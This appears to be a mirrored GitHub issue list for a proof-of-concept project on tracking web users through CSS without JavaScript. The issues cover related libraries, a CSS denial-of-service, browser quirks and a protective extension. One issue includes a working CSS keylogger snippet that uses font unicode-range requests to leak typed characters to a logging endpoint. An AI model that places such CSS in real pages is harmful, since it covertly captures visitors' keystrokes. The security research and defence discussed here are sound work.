jbtronics / crookedstylesheets Goto Github PK

Webpage tracking only using CSS (and no JS)

License: MIT License

HTML 20.00% CSS 48.85% PHP 31.15%

css css-tricks html5 web-tracking proof-of-concept

crookedstylesheets's Issues

Library for tracking css

Hi. First of all thanks for your work.
Your code inspired me to write small library for tracking css (i call it spycss).

You can see sources at https://github.com/Bogdaan/spycss
And small demo at https://github.com/Bogdaan/spycss-demo (live demo - https://spycss.hcbogdan.com)

I will be grateful if you will advise what can be improved.

Easy way to client side site dos with CSS

I just found a bug or something with css variables, and it seems to be an easy dos thing.
Check my repo: https://github.com/ceigh/css-dos

Use invisible css grid to track mouse movements

What if you created an invisible css grid on top of your whole webpage and tracked mouse movement that way. (Sounds way easier and more enjoyable than wrapping everything separately in your markup somehow...

You can try to empty the buffer

我通过观察发现，并不是在能拿到第一次的内容，当过了10分钟后，依然能拿到，所以我认为可以在缓冲区这上面下手。

Comma Abuse

I don't mean this to be snarky or mean - Please consider revising the README without the rampant abuse of commas. Nearly every sentence has an unneeded pause introduced by a comma and it makes fluidly reading through your fascinating notes somewhat more difficult.

Not able to detect 'duration' value in MS Edge

After developing the CSS detection in MS Edge, I was not able to detect the duration value.

I´m referring to this pull request where the detection was made for MS Edge -> #16

CSS Exfil Protection

CSS Exfil Protection is an extension to protect against this vulnerability.
It should be added under What you can do to prevent tracking with this method in the Readme.

Remark regarding Tor Browser

So, disabling CSS is not a real option, except when you are very worried about your privacy (for example, when you are using the Tor browser, you should maybe disable CSS).

Actually not required because things like user agent, screen resolution, fonts, etc. are already normalized and should be more or less identical for all users of TBB.

Older Browsers Immune?

Hello, neat CSS trick; it works great on newer browsers that support the CSS methods used. Older browser versions — I tested Firefox v50 and Opera v12 — respond to font tracking only, no other results show; other than that, the CSS on the test page works as expected; i.e., color changes appropriately, etc.

So this is not really a bug…but may be helpful as a mitigation method under the README's prevention section?

<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log

spelling errors in README

completly is in your README.md a few times where you actually want it to be completely

jbtronics / crookedstylesheets Goto Github PK

crookedstylesheets's Issues

Library for tracking css

Easy way to client side site dos with CSS

Other solution

Use invisible css grid to track mouse movements

You can try to empty the buffer

Comma Abuse

Not able to detect 'duration' value in MS Edge

CSS Exfil Protection

Remark regarding Tor Browser

Older Browsers Immune?

tracking multiple clicks/hovers/events

Demo page is dead (404); recreate it right on github.io?

Keylogger using webfont with single character unicode-range

spelling errors in README

Recommend Projects

React

Vue.js

Typescript

TensorFlow

Django

Laravel

D3

Recommend Topics

javascript

web

server

Machine learning

Visualization

Game

Recommend Org

Facebook

Microsoft

Google

Alibaba

D3

Tencent

Jobs